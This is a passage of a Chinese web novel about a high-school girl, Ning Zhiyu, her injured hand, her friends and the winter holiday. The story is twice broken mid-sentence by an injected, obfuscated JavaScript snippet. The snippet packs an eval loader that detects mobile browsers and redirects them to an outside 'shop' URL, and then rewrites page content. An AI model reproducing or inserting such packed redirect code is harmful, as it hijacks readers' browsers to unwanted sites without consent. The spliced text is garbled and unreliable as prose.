通过观察自己的伤势,宁执玉认为自己刚才那一击应该是没有正中篮球的核心,而是擦着边打过去……这样一来,虽然篮球依旧成功地改变了飞行轨迹,但那粗糙且高速旋转的球面本身如一张砂纸那样将她手背的皮肤给直接磨破表皮,以至于出血了。 ——豁,我的出拳终究还是比前些年慢了,居然还会打歪。宁执玉甚至有点想不合时宜地自嘲一笑。 比起使用拳头,她其实更擅长的是腿部动作……幼年时她在少年宫兴趣班接受过为期数年的跆拳道培训学习,也拿到过一个不错的段位和层级腰带。只是后来受限于家中出了事故和考证的年龄,才放弃了这项爱好。 培养一个爱好不容易,里面需要付出时间、金钱、精力和很多的热爱。 可是宁执玉知道自己当前的人生主线是参加高考,而不是去考跆拳道的证书。所以她果决地放弃了它,将象征着过往荣誉与证明的腰带藏在烧烤店二楼的那个大箱子里,不见天日。 但扪心自问,宁执玉也不愿意再轻易去翻看那条腰带。 看什么呢?看自己破碎的家、没能完成的年少梦想、已经褪色的笑容,还是沦落到如今要寄人篱下的忍辱负重处境? 回忆……回忆又有什么用呢。宁执玉漫不经心地想到。就好像一句道歉也不能让自己止血止痛那样。 此时赵颖弯下腰来,伸手帮忙捡回了那个沾了点灰尘的单词本,一脸关切地递给宁执玉。 宁执玉用另外一只没受伤的左手接过本子,揣回校服口袋里,然后说了声谢谢。 “哎,你谢我做什么……”赵颖一时间不知道该怎么形容自己的心情,下一刻她见到宁执玉的脚步似乎晃了晃,连忙搀扶住对方,让人坐下。 宁执玉很听话地盘腿坐回地上,用左手握紧右手手腕做固定,随后受伤的手掌朝着不同的角度轻轻转动,默默地判断疼痛和受伤程度如何。 一旁的周喜和王艺菡已经纷纷反应过来了。 “什么人乱扔球!”周喜气得差点失去理智,大声喊道,“有没有长眼睛啊?” 周围的人惊异地停下手中的活动,纷纷看过来。坐在地上的宁执玉也抬头顺着球飞来的方向看过去,发现罪魁祸首居然是——陆婷。 这个身形瘦弱的女生似乎也被吓傻了,站在原地,双手还没来得及放下,只是呆呆地注视着这一切。 “你搞什么?球打到人都不晓得要道歉的吗!”王艺菡同样恼怒地站起来对着陆婷所在的方向吼道。 “……”,陆婷没有任何反应,只是死死地盯着坐在地上并且满手都是血的宁执玉。赵颖正好站在她旁边,弯腰低声说着什么。 赵颖确认宁执玉这个受伤的朋友在地上坐稳以后,方才直起身,很生气地看着陆婷,开口道:“你什么意思?” 被赵颖这么一说,陆婷像是突然回神了那般,怯怯地反问:“什、什么?” “我说你每天上课像个鬼一样盯着我就算了,当我不知道?我惹你了?还是哪里跟你有仇?”赵颖越说越生气,之前的疑惑郁闷叠加今日的事情导致她一度更火大了。 “说实话,我本来也不想跟你计较什么……但我的朋友现在因为你而受伤了,为什么你连道歉都舍不得跟人说一句!这种事对你来说就那么困难吗?” 陆婷原本就血气不足的小脸一下子涨得通红,却还是死死地咬着牙不肯道歉。 见此状况,赵颖的表情变得更加愤怒和阴沉,却又不知接下来该说什么来骂人才好。 ……唉,好麻烦。宁执玉抬头看着那边不断升级的冲突和争吵,只觉得一阵剧烈却又酷似虚幻般的头疼传来,令她不得不忍耐着眯起眼睛来,同时尽力去思考当前的局面。 在宁执玉看来,当前的首要威胁不再是自己的受伤或者什么陆婷的道歉,而是失控。 朋友们的情绪失控、争吵、对抗、越来越多的围观……这一切的混乱会带来秩序的失控,从而引发进一步的失控加剧。 宁执玉发自内心地不愿意看到这样的场景,但她也不可能去指责赵颖和周喜她们这些仗义执言的朋友。 青春期的少女们一怒之下容易情绪上头,这合情合理。更何况朋友们是为了自己才出头,去争吵,试图压着陆婷给个说法——所以宁执玉也不会站出来说什么“算了算了”之类的背刺朋友言论。 然而退一步来说,吵得赢怎么样?道歉了又怎么样? 这样毫无诚心的表现,出于恐惧与压力下说出的“道歉”,连麦当劳的穷鬼套餐都换不来一份,对宁执玉而言毫无用处。 对于如今的她来说,但凡争斗,必须有利益可图。 不然就是亏本的买卖。 没有利益的意气之争,只会换来人生的惨痛代价……这个道理,早在七年前的那次绑架事件中宁执玉就深刻地领悟到了。 时隔多年,脸上那道从脸颊贯穿到下巴的伤疤至今能传来隐约的幻痛。 仿佛是美玉重重地落于地,既没有完全摔碎,也没能完好地幸存下来——此后这一生,都出现了无法掩盖的裂痕。 你会后悔吗?宁执玉在无数个夜不能寐的夜晚里煎熬地问自己的内心。 ……我不知道啊。 到底是努力活着才是正确的,还是刚烈的死亡才是真正的解脱呢?宁执玉有时候真的不知道这个答案。 如今唯有一件事可以确认,那就是——我已非美玉,而是尘土里的一颗顽石了。 然而现在并非是回忆人生哲学命题的好时机。下定某种决心的宁执玉忽然站起身,周围围观的同学们见状立刻为她让开一条路,她得以顺利而快速地走到赵颖和陆婷的中间地带才停下。 这个时候,赵颖依旧在怒视着陆婷。反倒是陆婷变得极度紧张,不自觉地往后退了两步,整个人的站姿和动作明显变得更加防御和抗拒意味。 宁执玉却没有看陆婷一眼,只是扭头对着赵颖用只有两人能听见的音量劝说道:“口头道歉是治不好我的伤的。” 赵颖眉头深深地皱起来,尤为不甘:“可是……” “你想打人?” “……也不是不行。”赵颖黑着脸回答。 “我不需要。”宁执玉以一种平日里在朋友们面前极少展现出来的冷淡口吻说道,“无论是继续吵,还是打架,我们中都有人会被记过处分或者请家长,甚至还有更麻烦的未来事情等着我们。所以停手吧,赵颖。” 赵颖第一次在这场冲突中将目光从陆婷的脸上挪开,难以置信地看向面沉如水的友人,过了几秒她才带着几分怒意地反问道:“宁执玉,你在嫌弃我们?” “不,我从来没有那样想过。”宁执玉在说话的同时,鲜血从她的手背上一滴滴地滴落在地,但她看起来对此无动于衷,“我只是觉得——为了这种人和这种事情付出更大的代价,不划算。” 陆婷不知为何就是不肯道歉,可那是对方自己的事情,只能说明这人的性格就是这样的古怪而倔强。面对这种怪人,难道要在众目睽睽之下来场群殴吗? 说不定一拳下去,大家还要跪在地上求陆婷别死。 因此事到如今,宁执玉连多看这人一眼都嫌浪费自己的精力和时间。 赵颖深吸了一口气,像是头一回认识这个朋友的这一面,可终究还是忍住了想要发火迁怒的那种无名冲动:“那你说,该怎么办?” 这一回,宁执玉刻意将音量提高,以至于能够让周围的人——也包括三四步外面色阴沉的陆婷——都能听个一清二楚。她不容置疑地宣布道:“我的手流血了,需要有人陪我去校医室。” 赵颖一时间没有反应过来,但宁执玉在下一秒用没受伤的左手握住了她的手腕……力道不重,只是轻轻地握着,可是此刻的赵颖完全没办法去挣脱开朋友的手。 因为此时她多少感觉到了宁执玉只是想要强行中止这场可笑冲突的本意,当即默不作声地转身,搀扶着宁执玉的左侧手臂,一起走出围观群众的拥挤现场。 在她们身后,无人搭理的陆婷意识到了什么,很快变得面色苍白。她原本就所剩无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112411|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几的面部血色像是要尽数褪去,只剩下整个人摇摇欲坠地站着。 周围的同学们终于开始议论纷纷,伴随着“那个脸上有伤的女生好像很冷淡的样子”“这人为什么不道歉啊”“我们还是走远点吧”之类的各种言论,让陆婷看起来更加窘困和孤独了。 这个时候,王艺菡第一时间通知了不远处的体育老师,将他拉过来。周喜也急急忙忙地拿来许多刚刚借来的纸巾,强行塞进宁执玉的手心里用来吸血。 她们比伤者本人还着急的样子。 拦住几人去路的老师先是皱着眉头看看宁执玉的手背伤势,然后又看看周围的学生们,问道:“现在你们打算去哪里?” 宁执玉语气虚弱地回答:“老师,我头有点晕,想去校医室。” “好,让一个人陪你就行,快去吧!”体育老师其实也很害怕这件事继续地发酵、扩大,大手一挥批准,“其他人都散了,继续正常上课。” 虽然周喜和王艺菡也想申请一起陪同去医务室,但体育老师直接驳回:“那么多人去干嘛?在校医室添乱吗?反正现在快下课了,你们等会再去看望同学也不迟。” 倍感失望的两人只好叮嘱老赵要把宁执玉搀扶得稳一点,可别在路上摔了。赵颖虽然心情不快,但面上还是用力点头。 五六分钟后,校医室。 一位中年的女性校医一边用酒精给宁执玉的手背伤口做清创,一边进行观察和判断:“你这个应该只是皮肉伤而已,看着面积挺大的,不过我觉得不算严重。” 在酒精洗刷伤口的剧痛作用下,宁执玉一时间疼得脸都有点扭曲了,但还是间断地回答道:“我也……嘶!我也觉得是这样。” 校医阿姨对此见怪不怪:“同学,你再仔细观察两天,别沾水。如果没有好转或者有化脓迹象就赶紧去医院看看。” “我知道了,谢谢医生。”宁执玉礼貌地笑着回答。 全程赵颖都默不作声地坐在旁边的椅子上,打量着校医室里的各种摆设和药品,一言不发。 等两人从校医室离开时,外头居然还没下课,自然也见不到老周和老王两人赶来探视的身影。 宁执玉的手背上涂抹了消炎的药物,也多了一层纱布,校医给她用医用胶带做了固定。 走着走着,她很快敏锐地注意到赵颖依旧沉着脸在自顾自地走,当即表情平淡凑过去问道:“还生气呢?生谁的气?” “关你什么事。”赵颖将宁执玉稍微推开了一点,却又忍不住骂了她一声,“……不识好人心的家伙。” “对不起。”宁执玉忽然认真地说,“但我是真心觉得,陆婷不值得你那么生气。” 赵颖被这人的言辞给气笑了:“我说的是你!” “啊?原来说的是我吗。” “这种时候就开始装糊涂了。”赵颖鄙夷道。 但是宁执玉只是一如平时那样淡然而好脾气地笑起来,像是完全没在意自己于此次事件中的受伤。 可通过这件事,赵颖已经非常清晰且近距离地意识到了……老宁这家伙看起来总是平平淡淡的和善外表下,藏着某种冰淡到近乎极度克制的一面。 这就是学霸的精神世界吗?赵颖不理解,但她多少有点被震撼到了。 眼看两人快要走到教室楼下的楼梯口了,赵颖烦躁地抬手挠挠头,还是下定决心地对宁执玉突兀地说了一声:“那什么……谢了,老宁。” “……哈?”老宁歪了歪脑袋。 “那个篮球本来差点要砸到我的脑袋的。”赵颖闷闷地回答,“我看得很清楚。所以说,谢谢。” 宁执玉恍然大悟,随意地摆摆手上楼梯,表示这都是小事儿:“老赵你脸上的伤都还没完全好,我怎么能眼睁睁地看着你这旧伤加新伤呢?当然是能挡就挡,挡不住算你倒霉咯。” 赵颖看着她平静的侧脸,一时间若有所思:“……这样啊。” “当然啦,所以你也别太往心里去。”宁执玉坦然道,“如果换成王艺菡或者周喜坐在你那个位置被球砸,我也还是会出手去挡的——谁让你们几个都是我的朋友嘛。” 赵颖上楼梯的脚步有些不自觉地变慢,过了几秒,她方才轻轻地“嗯”了一声。 不知为何,她竟然觉得如今这副模样的老宁似乎变得更加亲切起来。 ——宁执玉还是那个让人觉得安心和可靠的好朋友。 想到这里,赵颖的心情莫名地又好了许多。 此时老宁思索再三,还是犹犹豫豫地试探着开口:“赵颖,你要是真的想感谢我的话……就请我去吃个麦当劳穷鬼套餐怎么样?” 闻言,赵颖忍不住勾起嘴角:“怎么会突然想吃那个。” “就是想吃啊。”宁执玉心情不错地露出一个淡淡的笑容来。 “行,今天下午放学后我们去吧。” “好嘞!” 10.要过年啦 著名的天津军统站的吴站长说过一句名言:时间宛若一头撒欢的野驴,跑起来就不停。 眨眼间,这个高二上学期就已经抵达尾声,而宁执玉手背上的那点皮肉伤也早就好了,因此还算是顺利地能动笔写完期末考试的试卷。 右手手背处新长出来的皮肤跟周围的原本肤色还是有些颜色差异,万幸的是这次没有留疤……不然老宁这明明是个顶尖三好学生的成绩,偏偏外表越来越像一个在江湖里拼杀的社会人了。 等结束考试后因为还没立刻到放学的时间,大家各自回到自己所属的原本班级。 走廊和教室里到处都人来人往,很多学生在互相聊天,空气中充斥着一种乱糟糟但是又马上要面临寒假的快乐既视感。 回到教室后,宁执玉娴熟地在一堆同班同学中精准地找到了那三个朋友,然后一屁股坐在她们旁边的空位上,开始翻看新一本的历史知识点小册子。 ——这是她自己写的,用来在前两轮知识点大筛查中查漏补缺。 眼尖的周喜注意到她的行为后顿时很无语:“不是吧,宁执玉你第一时间凑到我们身边,就为了卷我们?” “真棒,答对咯。”宁执玉好整以暇地问大家,“我们要不要来对答案。” “不要!” 除了赵颖,其他两人发出了异口同声的强烈抗拒声音。 作为几人中成绩第二好的赵颖闻言变得有点扭扭捏捏,但还是试着说:“老宁,我可以跟你对一下答案?” 老宁也冲她微微一笑:“其实我也不跟人对答案。” 赵颖:? 她后知后觉地意识到自己又被这个爱说冷笑话的家伙给逗弄了。一旁的王艺菡见状顿时发出没心没肺的笑声,被恼羞成怒的赵颖瞪了一眼才停下来。 大家开始讨论即将到来的寒假。 周喜面带苦恼地跟她们说了一个不太好的消息,今年她妈妈打算带她回湖南老家过春节…… 赵颖觉得很奇怪:“以前你外婆还在的时候,你都是在这边过年呀。怎么现在反而要回去了?” “大人的事,我也搞不懂啊。”周喜先是惆怅地叹了口气,随后严肃警告这帮人,“你们仨可别趁着我不在就一起私奔了啊!” 宁执玉乐了:“私奔去湖南是吧。” “那可以。”周喜笑嘻嘻的,“来找我的话就不算你们私奔。” “其实,我今年过年可能也不在这边过了。”王艺菡双手插兜,目光盯着教室天花板,说这话时多少有点中气不足,一点也不像是平日里那个小太阳。 赵颖大惊:“啊?你也?” 周喜吐槽道:“她基本上年年都不在这边吧。” ——王艺菡每年过年都会坐飞机去找自己的父母,有时候在这个省份,有时候又到了那个一线城市去,感觉是特别忙碌又相亲相爱的一家人。 赵颖无奈地点点头:“也是啊。” 然而下一秒,老赵想起什么,慌忙看向正坐在旁边看册子的宁执玉:“老宁,你不会也要说自己今年不在陈水过年了吧!” “……”,宁执玉慢慢地抬起头来,在朋友们(尤其是赵颖的担忧眼神)里,说:“你猜?” 赵颖立刻垮下来小猫批脸,拒绝被这混账朋友再次逗弄:“我不猜。” 老宁漫不经心地回答:“好吧,今年过年我还是独守空城,老规矩,老赵你放心好了。” 赵颖立刻如蒙大赦地松了口气。 其他两人闻言也挺高兴的,感觉最少有个朋友留下,两人之间可以约出来一起玩。 毕竟今年四个人不能聚在一起过年,这天南地北的两个朋友说实话还是挺忧心赵颖和宁执玉她们的过年精神状态的。 周喜郁闷地嚷嚷着“我们四个到底什么时候能一起过个年啊?”,王艺菡也在一旁叹了口气。 跟一过年就浑身不得劲的赵颖不同,宁执玉其实挺喜欢过年的。 因为二舅一家会在大概年二十五的时候提前关店,结束一年的营业,然后开车带着一家老小回老婆的娘家乡下去。 这一去至少待到年初五再回来,也就是前后十天左右。几乎是年年如此。 那乡下地方宁执玉没去过,只知道距离陈水大概有三四个小时的车程,貌似在山区里。更何况表弟们的那位外婆又不是她的亲外婆,毫无血缘关系,而且舅舅家的那辆本田小轿车也坐不下第六个多出来的人。 除非坐在车顶。 但没必要啊。因为宁执玉既不是歌手阿杜,对于待在车底有什么奇怪的执念,她对于二舅一家人而言来说也只是个外人。 而舅舅一家离开陈水回乡下过年,也就意味着宁执玉真正意义上的放假了。 在临走前,通常二舅会允许她在节假日期间使用厨房灶台和二楼住处。但是食材那些东西要么自己买,要么在动用厨房库存后自觉补上差价——因为他回来会查库存和监控! 此外,唯一的好处是……这抠门老登在出门前会大发慈悲地给宁执玉堂堂两百元巨款! 以此作为她的新年红包和这十天的生活费。 可能有人会问,这天价200元巨款能在2018年这年头里买什么好东西,以此来撑过十天呢? 问得好,宁执玉也想问。 所以她往年都是东边朋友吃一顿饭,西边朋友蹭一餐……反正能省则省,到处打秋风。 实在不行就到最后几天里喝麦片来充饥,熬到二舅一家回来开火。 至少在舅舅家的饭桌上,宁执玉还是能吃上两口免费的热饭,虽然要忍受那个老太婆的重男轻女思想、舅妈的冷嘲热讽和表弟们的白眼和抢肉等糟心行为。 不过往年有周喜和她妈妈的好心接济,外加远在外地的饲养员老王没有忘记宁执玉这位贫穷的萌宠……往往只要老宁饿到开始疯狂摇人,四处求助,王艺菡都会点个豪华外卖送过来江湖救急。 所以总体还不算太难熬。 正因如此,宁执玉是发自内心地敬爱世界上最可爱的王总。 ——无需任何理由,老王在“仁义”这块从来都是金字招牌! 什么?你说为什么不去赵颖家蹭饭? 在偶然间意识到自己去蹭饭一次,回头老赵就会挨骂一次后——赵颖从来没跟她抱怨过这事儿,是宁执玉自己有一次回去拿不慎遗忘的手机时,隔着大门门板听到的只言片语——自那之后,老宁就再也不去朋友家给人添麻烦了。 去的话都是在楼下等着,打电话叫赵颖下来玩。 而且说句实在话,她在饭桌上听着赵杰对女儿赵颖的PAU登味台词,忍受着熊孩子赵子璇的胡闹和张阿姨的阴阳怪气言论后,宁执玉莫名觉得……当孤儿好像也不是一点好处都没有哈。 不过赵颖似乎没有意识到自己被老爹和继母给PAU得都有点精神衰弱了。 宁执玉先前试着委婉地提醒过一两句,但赵颖并没听出来她的潜台词,依旧懵懵懂懂的。老宁也就不便对别人的家事过多地指指点点了。 ………… …… 进入寒假后,没过几天就来到了过年前夕。陈水这边的生面孔也多了很多,不少外地打工的人都回家过年,各大商场与饭店生意爆棚。 不过如今的“徐记烧烤店”已经关门歇业,门口的卷帘门上也贴了老板回乡下过年的告示和年后的开业时间等相关提示语。 宁执玉倒是可以从厨房后门随意进出,不过她自忖出门也没什么正事要干,不如躺在家里继续学习。 这次的期末考试成绩出来了,她的年级排位总算稳住并且回升了十几名,目前已经回到了全年级前十五的程度。 这让大半年来一直神经紧绷、拼命挤出时间学习的宁执玉大大地松了口气。 ——虽然没指望一夜之间重回年级前三的宝座,但这个成绩起码证明她这段时间的努力还是有效果的。 而二舅也表示已经找到了一位老乡来作为新的店铺员工。等年后那人来上岗,宁执玉的店内帮工工作可以降回原本的“一周三天”程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122446|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度。 这对于愈发靠近高考期限的学生宁执玉来说无异于是个新的好消息。 惊了,徐扒皮居然难得地做了一回人啊。 虽然不太理解二舅为什么突然又对自己稍微好了一点点,但宁执玉表示接受命运的安排就行,有时候想太多也没答案。 这天早上准时起来,锻炼体能后简单吃了点早餐,宁执玉并没有因为自己身处寒假而懈怠放松太久,而是时刻谨记着自己的主线任务并依旧保持着高度自律的学习状态。 等忙完这些,她从容不迫地占据了二楼最大的包厢,将试卷、习题册、错题本、课本、笔记本等一系列学习资料摊开,依照学习进度表开始进行知识筛查的学习和训练。 对于宁执玉来说,能够不被打扰、时间充裕地专心学习……这种感觉真是太美妙了。 怎么会有人不喜欢学习呢?! 不理解.jpg 学了两个多小时,就在宁执玉有点头昏脑胀之际,她手机上跳出了一条新的未读消息。 老宁打开软件,发现是赵颖发来的讯息。 【孤独的狼(赵颖):在干嘛?】 宁执玉高举手机,将半张桌子的学习资料拍了张照片,发过去。 【死是凉爽的夏夜(宁执玉):[图片]】 ——老宁的这个网名出自《新三国演义》电视剧,原句是“死不可怕,死是凉爽的夏夜,可供人无忧地安眠”。事实上,它的最大槽点在于这是18世纪德国诗人海因里希·海涅写的诗,偏偏被16世纪的曹操在临死前说出来了…… 着实令人忍俊不禁。 不过很可惜,朋友们似乎谁也没看过《新三》,以至于没人能get到宁执玉的小巧思——这令她引以为憾! 看到满桌学习资料的图片后,赵颖那边很快回了一个问号。 【赵颖:马上要过年了,老宁你居然还有心思学习! 宁执玉:过年也不妨碍我学习啊。 赵颖:卷王你好。 赵颖:中午出不出来吃饭? 宁执玉:有谁。 赵颖:能有谁,叫了老王呗。 宁执玉:王艺菡还没走?老周都快跟她的表哥恩恩爱爱到发朋友圈的地步了…… 赵颖:不太清楚,我估计也快了吧,再不走的话都要大年三十了。 宁执玉:好。我们在哪里吃? 赵颖:广场这边。 宁执玉:好远! 宁执玉:我想趁中午刷个完整的模拟卷子,你们吃剩后能给我打包点外卖过来吗……颖姐你行行好,可怜可怜我吧。 赵颖:? 赵颖:外卖没有。过来请你吃饭喝奶茶。 宁执玉:来了,主人! 赵颖:……我踏马服了。 赵颖:来了有好东西给你康康。 宁执玉:哦?你的不雅照片? 赵颖:也没那么好。】 结束跟赵颖的聊天消息后,宁执玉想了想,决定还是先不刷模拟卷子了。 这点出门前的零碎时间,还是看看错题集得了。 结果等临近午饭时间点,宁执玉坐着公交车赶到商业广场,在广场上的茶百道饮品店里找到了那两个朋友,发现赵颖口中所谓的“好东西”……居然是一条黄色黑嘴还夹着点灰毛的小土狗。 一看就是特别胆小,也不值几个钱的那种本地田园犬幼崽。 此狗如今正在被先到一步的王艺菡玩弄于股掌之间(字面意义),吓得瑟瑟发抖。 “不是照片?”拉开椅子坐下的宁执玉挠挠头,一脸失望。 然后她就被赵颖赏赐了个隔空的白眼:“宁执玉你那脑子成天到底在想什么啊!” 宁执玉诚恳地回答:“学习。” 赵颖被气笑了。 正在试图刷小狗好感度的王艺菡很疑惑:“啊?什么照片?你俩在打什么哑谜。” “总之你别问了,很无聊的烂梗……”赵颖无语地一手捂住了眼睛。 11.一些往事 饮品店里,穿着短款羽绒服上衣的王艺菡玩了一会儿小狗,发现这只狗跟自己还是不太对付的样子,只好问坐在一旁滋溜溜喝热奶茶的宁执玉:“老宁,你玩不玩老赵的狗?” “来,给我玩玩。”宁执玉把那条胆小的狗抱到自己身边,放在大腿旁,同时用桌子和背包当作遮掩以防止店员看到这一幕。 小狗仰着鼻尖闻了闻宁执玉的手指气味,居然不太怕这家伙,相反还很亲昵地舔了舔老宁的手指,同时耳朵很快就往后晃动了几下。很快,它整个身躯明显放松下来,就这样安安静静地趴在这人的腿边,时不时摇晃一下小尾巴。 宁执玉当即笑了,动作有点生疏地把它从头顶一直顺毛撸到尾部。小狗也很配合。 看见这条狗竟然不怕宁执玉后,本来还想看朋友也被狗讨厌的王艺菡顿时面露无语之色。 简单来说,她酸了。 赵颖也看得啧啧称奇:“你们一个被狗讨厌,另一个倒是被它喜欢。真奇怪。” 宁执玉一脸严肃地逗人玩:“老王跟它会不会是同类相斥呢?” “你才是狗!”王艺菡没好气地回答道。 “哈哈。”老宁笑了两声,没再纠结这个话题,反而颇为好奇地看向赵颖,“这就是你妹妹想要养的狗吗?今天终于下定决心买啦。” “啊,怎么说呢……有点复杂。”赵颖叹了口气,尽量言简意赅地把整件事复述出来。 原来是她妹妹赵子璇这几日放了寒假后愈发无聊,天天喊着要养小狗,父母拗不过这孩子……于是今天一大早张阿姨就带着赵颖和亲生女儿赵子璇,三人一起来广场这边的宠物地摊上买小狗。 这条有点丑萌的小土狗是一开始张阿姨看中的,原因无他,纯便宜,几杯奶茶钱就能买下来这一只。 不过赵子璇更中意另外一只柔软漂亮的白色比熊,但那家店老板报价1000元,远超客户的心理预期报价。 就在张阿姨试图砍价之际,旁边的赵子璇对于母亲那些贬低小狗的砍价术语信以为真,当即大哭大闹地原地撒泼,非它不可——最终结果可想而知,大为丢脸的张阿姨揪着哭喊的女儿打车离开。 别说买狗了,狗毛都没带走一根。 没被带走的也有被亲人们彻底遗忘的赵颖。她看着远去的计程车,一时间在风中凌乱。 宁执玉听到这里皱了皱眉头,也没有评价什么“她们怎么能把你给落下”之类的话,因为说了也没用,只会让老赵更加心塞和郁闷。 于是她低头看了看自己腿边那条热乎乎的小狗崽,问道:“所以是张阿姨回去后发消息,让你带这只便宜的回去?” “怎么可能。”王艺菡随口插嘴,“老赵那个继母有多吝啬,你也不是没见识过。今天没有买狗回去,她说不定心里还更高兴呢。” 赵颖默然了片刻,方才解释道:“阿姨确实没有给我发消息,是我擅作主张买下的。其实我主要是想着……我妹想养狗很久了,看着怪可怜的……就给她买了。” 她的话语里有点惴惴不安,显然在担心自己的好心变成错事。 王艺菡见状顿时替朋友打抱不平:“你没事宠她干嘛?她是他们的娃,又不是你的。” “……”,赵颖略显委屈地低下头来,盯着奶茶杯子上的标签字迹发呆,看起来丧丧的。 一时间宁执玉也不知说什么才好,思考片刻后开始若无其事地打圆场:“嘿,你别说,我这辈子要是有老赵这样的姐姐,我得开心死。” “真的吗?”赵颖像是得到了某种赞许和认可那样,立刻又开心起来。 宁执玉点头:“真的,可惜现实是我只有两个不懂事的傻逼表弟,前几年还成天跟我打架,这两年才好一点……” 王艺菡用手掌撑着脸颊,冷不丁地问:“谁赢得多?” 宁执玉得意地喝了一口奶茶,隔着厚衣服展示了一下自己手臂的肱二头肌:“不才,正是在下。” “一打二还总能赢,厉害啊!”王艺菡笑着夸奖道。 但是宁执玉没说的一点是……每次她打赢了弟弟们,她就会被舅舅和舅妈联手整治好一段时间。 不管是吃穿上的克扣还是言语上的霸凌,那滋味都实在不好受。 后来老宁学乖了。哪怕弱智表弟再怎么挑衅自己,她都不动如山地冷眼旁观,必要时甚至会掏出手机直接开视频录像,警告那俩浑小子少来招惹自己。 最后表弟们觉得无聊起来,也就渐渐减少了搞事情的次数。 几人玩了一会儿小狗后,眼看店员时不时往这边看过来,赵颖怕露馅被店员轰走,赶忙把小狗塞回自己的背包里,只留出一点拉链的缝隙供它透气。 “老王,你寒假要去哪里过年?”赵颖问正在低头玩手机的老王,“还不走吗?” 王艺菡放下手机,神情中交织着离别前的惆怅和马上能见到亲人的喜悦,显得格外复杂:“地点已经定了,这两天本来想找机会跟你们说来着——我今年寒假要去美国过年,可能得等开学才会回来了。” 赵颖顿时目瞪口呆:“去美国?真的假的!” 王艺菡认真道:“真的,我爸妈好像搞到了什么美国绿卡了,反正叫我过去玩。” 同样感到惊讶却又不怎么意外的宁执玉默不作声地看着她们,想到的却是当年自己在读国际学校的那些经历。 ……她本来也有机会初中去英国读书的。 宁执玉略微垂下了视线。 也许是宁执玉这会儿表现得太沉默了,王艺菡忽然叫她:“老宁!” “啊?”老宁抬起头,发现她们两人都盯着自己。 “刚刚我们在说,我去了美国后要跟你们每天开群聊视频,你有没有在听的?”王艺菡用手指敲了敲桌面。 “……听了。” 其实没有。宁执玉非常少见地在发呆走神,没有一心二用地去听朋友们在说什么。 不过她此时的情绪异常被王艺菡解读成为“舍不得自己离开”的表现。 因此老王也只是神情温柔地看着宁执玉好几秒,没有拆穿什么,而是转头对同样依依不舍的赵颖安抚道:“没办法,看来接下来你们两个就要相依为命啦。” 在好友面前,赵颖有时候说话也是非常离谱的:“嗯,等年后你和老周回来,我和老宁的孩子都会满地跑了。” 有点走神的宁执玉:? 王艺菡更是乐得哈哈大笑:“孩子跟谁姓?” 赵颖过分爽快道:“你要是给得起奶粉钱,就跟你姓。” 王艺菡:“那可太好了,我到美国后的第一件事就是恭喜我妈成外婆了。” 宁执玉:??? 宁执玉:“不行,谁生就跟谁姓。” 王艺菡简直快笑死了,对着同样嘻嘻哈哈的赵颖说道:“诶,你看这人急了。” “才没有。”宁执玉冷淡而无语地回答。 结果她们两个笑得更大声了。 ……老宁觉得她们这笑点也够奇怪的。 笑过一阵之后,赵颖还是略显担心地问:“如果你在那边有了新的女人怎么办?” 王艺菡自信满满:“我会为你们两个守身如玉的!” “哇哦,那可太感人了。”反应过来的宁执玉忽然扭头对赵颖说,“既然如此,老赵我们把抱二胎的事情提上议程吧?给大伙儿整个惊喜。” 这话把赵颖笑得都趴下了,王艺菡也再次爆笑。 真的很弱智。嘴角微微翘起的宁执玉觉得跟这帮沙雕朋友们待在一起,成天就没个正形。 但是……也很开心和放松就是啦。 随后大家吃了顿午饭,又去附近的商店和电玩城里转了一圈,等三人分别之际都已经到下午五点多了。 “千万要记得在美国也给我们打电话啊!我和老宁都会想你的!”赵颖跟站在滴滴快车车门旁的王艺菡挥手喊道。 宁执玉也正色道:“老王,别被外国坏女人给拐走了。” 王艺菡嘻嘻哈哈地打开车门,转身跟她们告别:“放心好啦!而且我不在的时候你们两个别吵架,也别忙着生二胎——” 一旁摇下副驾驶车窗的司机大叔看着外面的女孩们,顿时露出了“我不懂,但大受震撼”的表情。 等看着那辆白色轿车朝着红绿灯方向疾驰而去,赵颖抱着自己装有小狗的书包到胸前,看向站在一旁同样目送轿车离开的宁执玉:“老宁,你接下来想去哪里?” “我先送你回家吧。”宁执玉摊摊手,很是随意,“反正我回去也没别的事情要忙,就纯学习。” “哦?”赵颖的笑容有点促狭,调侃道,“现在不争分夺秒啦?我刚刚还以为你会在下午就提前回去学习。” “怎么可能,就当是送送老王也要坚持到最后啊……你后边,公交车来了。” ………… …… 等她们走到赵颖家楼下时,时间已经到了六点多了。 冬季的太阳早已下山,小区的公共路灯也亮起昏暗的冷白色光芒,照着建筑楼下的老旧通道路面,让往来行人勉强能看个清楚。 兴许是与朋友的别离终于带来了延迟的惆怅,也可能是想起父母对于自己擅作主张买小狗这事儿的可能反应,赵颖的脚步越走越慢,像是不想回去面对那一切。 宁执玉注意到了这一点,却没说什么,只是同样放缓脚步,眼睛却盯着那些蒙着飞蛾尸体和灰尘的路灯玻璃罩陷入沉默。 “宁执玉。”赵颖忽然说道,“陪我抽一根?” “行。” 于是两人和终于被放出来在地上转圈圈的小狗一起,坐在一楼楼梯的水泥台阶上默默地点烟。 看到烟盒时宁执玉颇感意外地愣了愣:“白沙?” “白沙”系列的产品有从低端到高端,赵颖买的这包白沙市场价是20块一包,对于她们这个年纪的穷学生来说已经算得上有点小奢侈了。 